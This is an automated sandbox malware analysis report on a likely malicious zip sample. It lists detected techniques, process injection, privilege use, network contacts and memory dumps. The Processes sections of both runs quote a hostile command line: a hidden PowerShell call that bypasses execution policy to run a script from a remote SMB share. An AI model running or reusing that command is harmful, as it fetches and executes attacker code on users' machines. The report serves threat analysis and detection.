Malware Analysis Report

2024-12-07 15:34

Sample ID 241113-xpsrhaxepb
Target ficke_rust_19865441358.zip
SHA256 53b783bdd7f29594398cf97f656545e31bc0528fc98d86366cd5f8fcd6836fb0
Tags
discovery execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

53b783bdd7f29594398cf97f656545e31bc0528fc98d86366cd5f8fcd6836fb0

Threat Level: Likely malicious

The file ficke_rust_19865441358.zip was found to be: Likely malicious.

Malicious Activity Summary

discovery execution

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Program crash

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 19:02

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 19:02

Reported

2024-11-13 19:04

Platform

win7-20240903-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2684 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\cmd.exe
PID 2684 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\cmd.exe
PID 2684 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\cmd.exe
PID 2684 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\cmd.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\WerFault.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\WerFault.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\WerFault.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe C:\Windows\SysWOW64\WerFault.exe
PID 2776 wrote to memory of 2696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2776 wrote to memory of 2696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2776 wrote to memory of 2696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2776 wrote to memory of 2696 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe

"C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c powershell.exe -nop -win hidden -ExecutionPolicy Bypass -File "\\185.213.208.245\bypass\u.ps1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2684 -s 92

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -win hidden -ExecutionPolicy Bypass -File "\\185.213.208.245\bypass\u.ps1

Network

N/A

Files

memory/2696-2-0x0000000073751000-0x0000000073752000-memory.dmp

memory/2696-3-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/2696-4-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/2696-6-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/2696-5-0x0000000073750000-0x0000000073CFB000-memory.dmp

memory/2696-7-0x0000000073750000-0x0000000073CFB000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 19:02

Reported

2024-11-13 19:04

Platform

win10v2004-20241007-en

Max time kernel

91s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe

"C:\Users\Admin\AppData\Local\Temp\4c930e2ed4f44cacfe5a5938c446f0973a31b0969d399dacbf6c2625aa72b812.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c powershell.exe -nop -win hidden -ExecutionPolicy Bypass -File "\\185.213.208.245\bypass\u.ps1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2068 -ip 2068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -win hidden -ExecutionPolicy Bypass -File "\\185.213.208.245\bypass\u.ps1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2068 -s 248

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
NL 185.213.208.245:445 tcp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
NL 185.213.208.245:139 tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/2316-0-0x000000007470E000-0x000000007470F000-memory.dmp

memory/2316-1-0x00000000027D0000-0x0000000002806000-memory.dmp

memory/2316-3-0x0000000074700000-0x0000000074EB0000-memory.dmp

memory/2316-2-0x0000000005030000-0x0000000005658000-memory.dmp

memory/2316-4-0x0000000074700000-0x0000000074EB0000-memory.dmp

memory/2316-5-0x0000000004DD0000-0x0000000004DF2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mq0cdywx.s5z.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2316-7-0x0000000004F90000-0x0000000004FF6000-memory.dmp

memory/2316-6-0x0000000004E70000-0x0000000004ED6000-memory.dmp

memory/2316-17-0x00000000057A0000-0x0000000005AF4000-memory.dmp

memory/2316-18-0x000000007470E000-0x000000007470F000-memory.dmp

memory/2316-19-0x0000000074700000-0x0000000074EB0000-memory.dmp

memory/2316-22-0x0000000074700000-0x0000000074EB0000-memory.dmp